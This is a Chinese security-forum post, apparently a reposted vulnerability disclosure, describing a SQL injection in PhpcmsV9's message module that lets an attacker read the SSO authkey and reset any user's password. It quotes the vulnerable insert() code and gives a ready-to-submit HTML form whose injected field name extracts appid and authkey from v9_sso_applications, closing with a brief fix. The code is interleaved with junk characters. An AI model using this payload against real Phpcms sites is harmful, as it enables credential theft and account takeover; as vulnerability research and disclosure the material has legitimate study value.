找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1962|回复: 0
打印 上一主题 下一主题

PhpcmsV9 SQL注射修改任意用户密码漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:33:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
简要描述:
4 s- a3 }2 N9 o# M4 k9 Q# a8 p/ x- ?4 ]# A# L& J
第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。$ @* D: p; c- X$ N- t% C

2 O; }. V' C$ C1 Y: W2 n  m/ B明天再更新下一个漏洞。
5 z: m! L8 A$ S% t2 B; i* L% J详细说明:
5 S9 F) X, p8 T( U% O在/phpcms9/phpcms/modules/message/index.php中有代码如下:# Y6 [+ T. L2 @; q. }
/ ~' g* H' F/ {% Y' R  _2 j
$messageid = $this->message_db->insert($_POST['info'],true);" T1 Q1 ^& s' S8 V% S

6 K' n8 m# ^' }5 v" {% S/ y/ g" U
+ F6 |* |6 O* k5 F9 V$ |: v8 Yinsert方法是key value的,代码如下:
' J6 p6 m: W" L$ P& l6 X
; P7 l2 R5 [( U$ Xpublic function insert($data, $table, $return_insert_id = false, $replace = false) {/ Q7 `, i/ G+ A( L- t3 _7 Y# Y
                if(!is_array( $data ) || $table == '' || count($data) == 0) {
: k- c0 c( z2 ~2 ?6 I4 k                        return false;8 h! B0 n2 I/ K. G& s+ A' u. X
                }
5 c5 U1 @' i- l' q2 K% ^% v               
, v+ C7 J1 G) d( Z& N1 D' h- P% r                $fielddata = array_keys($data);; y% ]5 a6 I4 T0 L/ c
                $valuedata = array_values($data);" N  q8 W8 x! I$ z9 _
                array_walk($fielddata, array($this, 'add_special_char'));. |2 D$ w: y0 u' N) @& e; U7 e
                array_walk($valuedata, array($this, 'escape_string'));* d% j$ y, J: e) I/ {$ X, D
                & W' Z; a$ r5 H
                $field = implode (',', $fielddata);
8 i8 d- f- H" m1 v% C# f                $value = implode (',', $valuedata);4 f& e# `' A: z1 j

1 l' \2 |5 }& |" a9 |  g                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
& O+ z+ Q4 j  C                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';8 q  R. t  K8 O2 n5 {
                $return = $this->execute($sql);. u, ~5 N% u6 v2 }6 r9 k4 T6 U
                return $return_insert_id ? $this->insert_id() : $return;
) U3 O* G# r3 X9 x        }8 ~: `, I1 i. ~( N. e5 t3 X' ?. o
; A0 S! O& u; Q7 w( M
( j! L* S/ [5 y6 f/ ?
嗯,很遗憾的是
$ G( l/ R% ]2 d4 k
( Z; T+ @7 B0 h% @( P+ \" {array_walk($fielddata, array($this, 'add_special_char'));
; o& m$ t* i; c2 L. Y* H; J( ?# I" ~; |' U+ h, c
0 \; m% O) j1 G# {" q) \8 h. }
中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。6 G" [& T5 j# a5 E- Z
; h- G2 \, H5 l3 }' a! Q
到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。" @8 c. ?+ w5 i) D

8 c" t# C0 r( O5 g  _2 D漏洞证明:
4 D& \% o" p) f8 l! W9 y读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。% V2 e3 T( u8 v+ D2 Q8 P7 V, ?  w4 J

; ~) i: s2 T* w' p; Q, H) U9 }
8 {& K/ a5 L% o9 s! G表单如下:用户名什么的得自己改一改。$ l0 |( Z4 v. _6 O- I4 p8 w9 w' }
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
. y* R" I. G0 n  Q( l4 K8 C<table width="100%" cellspacing="0" class="table_form">
2 K/ M! _8 k4 W<tr>  s9 [/ L4 J# S  w' l2 k
<th>标 题:</th>$ o; ~% [4 h% F! G
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>6 w& i! s6 C' V5 Z9 z5 U
</tr> # g& s  s& t- T  B
<tr>3 r. u: ~8 k. K* a0 Z+ K
<th>内 容:</th>( b8 h: V: H/ J4 [
<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>
' m# E! a( Q7 H' w4 n</tr>5 l# V& }( H% j) i" G9 k# f
<input type="hidden" name="info[replyid]" value="2" />
* j9 Y2 J# m$ t' c, L8 L<input type="hidden" name="info[send_to_id]" value="cc" /> 4 S% _6 a" v+ M' K. k" g% u/ u8 @
<input type="hidden" name="info[send_from_id]" value="hh">
: l& A' k" D+ E. d; y6 d  F<!-- 漏洞的利用重点在这里开始 -->
1 C( X4 r! r; |3 v8 ^, m$ g<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
6 f0 v3 b# d1 X6 ?3 X<!-- 漏洞的利用重点在这里结束 -->2 V- M6 p/ g. s; p& B- T
<tr>4 `/ L& ^# q' e+ G% I% t* I1 n  B/ B
<th>验证码:</th>
# ~( ?/ N4 ^+ O2 Z( m9 e<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
, H% V5 X# N" h2 N. E3 w+ j</tr>
  C( P: H$ `) j, ^& o7 u<tr>5 }! ^8 M8 M2 @5 v$ Q
<td></td>
* M1 O0 [" h0 A' @! \6 B4 G<td colspan="2"><label>
5 ^4 [. \" o! B5 ^! A& H. K9 T0 K1 m: b<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
1 K; L) D) \2 N: [7 L</label></td>
5 n0 G8 R  d# D: q' t* M</tr>
7 G( w0 L4 M) W$ J' B1 u</table>
) |+ e% K+ K5 I; c% F</form>
8 B. l5 T* o. p在add_special_char函数内对key做过滤就可以了。: I$ }/ w9 m" A$ }* y: P" ]

, U& v( j, v- K; f; t, S2 e: V/ w  |; K( }/ }5 B9 G* h
( h/ q$ @6 \" k

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表